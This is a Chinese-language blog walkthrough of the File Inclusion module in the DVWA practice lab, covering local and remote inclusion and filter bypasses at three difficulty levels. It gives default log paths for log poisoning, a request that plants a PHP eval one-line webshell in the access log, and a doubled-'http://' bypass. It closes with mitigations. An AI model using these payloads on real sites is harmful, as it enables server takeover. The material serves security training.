DVWA漏洞靶场-文件包含(File Inclusion)

基本知识:

php中引发文件包含漏洞的通常是以下四个函数:

  1. include()
  2. include_once()
  3. require()
  4. require_once()

   require_once() 和 include_once() 功能与require() 和 include() 类似。但如果一个文件已经被包含过了,则 require_once() 和 include_once() 则不会再包含它,以避免函数重定义或变量重赋值等问题。

在php.ini中,allow_url_fopen默认一直是On,而allow_url_include从php5.2之后就默认为Off。

分类:

本地文件包含:

  指的是能打开并包含本地文件的漏洞。

远程文件包含:

  只有当 allow_url_fopen = On,allow_url_include = On 都开启时,才能进行远程文件包含

 

1.low 级别

 

通过源码看到,直接对传入的page参数进行了包含,未作任何过滤

1. 本地文件包含

我dvwa搭建在windows,我现在d盘新建flag.txt, 包含方式如下:

但一般在没获取到目录信息的情况下,我们可以对日志的默认位置进行包含

windows: apache/logs/access.log  apache/logs/error.log

linux: /var/log/apache/access.log  /var/log/apache2/access.log  /var/log/apache/access_log  /var/www/logs/access_log  /var/log/access_log

相应的的也有error.log

利用web日志包含

localhost/dvwa/vulnerabilities/fi/?page=<?php @eval($_POST['shell']);?>

 

 注意浏览器会对特殊字符进行url编码,导致写入一句话失败,可以用burpsuite抓包解码再转发

这样日志中就记录了这次请求,接下来包含日志,就有了一句话木马

也可对ssh日志进行包含等多种方式,ssh日志默认位置  /var/log/auth.log

1. 远程文件包含

http进行包含,利用条件:allow_url_fopen on  &  allow_url_include on(默认关闭)

http://localhost/dvwa/vulnerabilities/fi/?page=http://www.baidu.com

 

 

2.medium 级别

查看源码

发现使用str_replace对http://,https:// 替换成空

对于str_replace函数进行的过滤,可以使用双写进行绕过

http://localhost/dvwa/vulnerabilities/fi/?page=hthttp://tp://www.baidu.com

 

 发现包含成功

 

 

3.high 级别

 查看源码

 

 传入的page要以file开头,可以使用file://协议进行文件读取

 

总结

进行白名单过滤

open_basedir php授权目录设置

open_basedir 可将用户访问文件的活动范围限制在指定的区域

 

posted @ 2019-08-02 15:38  芝士粉子  阅读(592)  评论(0编辑  收藏  举报